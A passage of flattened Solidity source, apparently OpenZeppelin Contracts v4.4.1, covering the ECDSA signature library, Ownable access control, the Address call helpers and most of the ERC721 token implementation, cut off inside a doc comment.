pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
